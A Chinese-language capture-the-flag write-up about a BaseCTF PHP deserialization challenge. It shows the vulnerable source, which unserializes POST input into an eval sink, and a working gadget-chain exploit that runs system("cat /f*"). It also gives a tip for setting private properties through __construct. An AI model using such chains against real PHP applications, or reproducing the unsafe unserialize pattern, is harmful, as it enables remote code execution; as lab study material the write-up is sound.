反序列化中私有属性无法访问的解决办法

反序列化中私有属性无法访问的解决办法


前情提要

今天做了一下basectf 的反序列化,遇到了一个php语言版本较低,导致无法解析私有属性的访问的题目。


原题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
highlight_file(__FILE__);

class Sink
{
private $cmd = 'echo 123;';
public function __toString()
{
eval($this->cmd);
}
}

class Shark
{
private $word = 'Hello, World!';
public function __invoke()
{
echo 'Shark says:' . $this->word;
}
}

class Sea
{
public $animal;
public function __get($name)
{
$sea_ani = $this->animal;
echo 'In a deep deep sea, there is a ' . $sea_ani();
}
}

class Nature
{
public $sea;

public function __destruct()
{
echo $this->sea->see;
}
}

if ($_POST['nature']) {
$nature = unserialize($_POST['nature']);
}

EXP


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php


class Sink
{
private $cmd = 'system("cat /f*");';

}

class Shark
{
private $word;
public function __construct()
{
$this->word=new Sink();
}

}

class Sea
{
public $animal;

}

class Nature
{
public $sea;


}

$x=new Sink;
$y=new Shark;
$z=new Sea;
$a=new Nature;

$a->sea=$z;
$z->animal=$y;


echo urlencode(serialize($a));

?>


办法

遇到私有属性的时候可以直接在exp中利用__construct()进行访问

1
2
3
4
5
6
7
8
9
class Shark
{
private $word;
public function __construct()
{
$this->word=new Sink();
}

}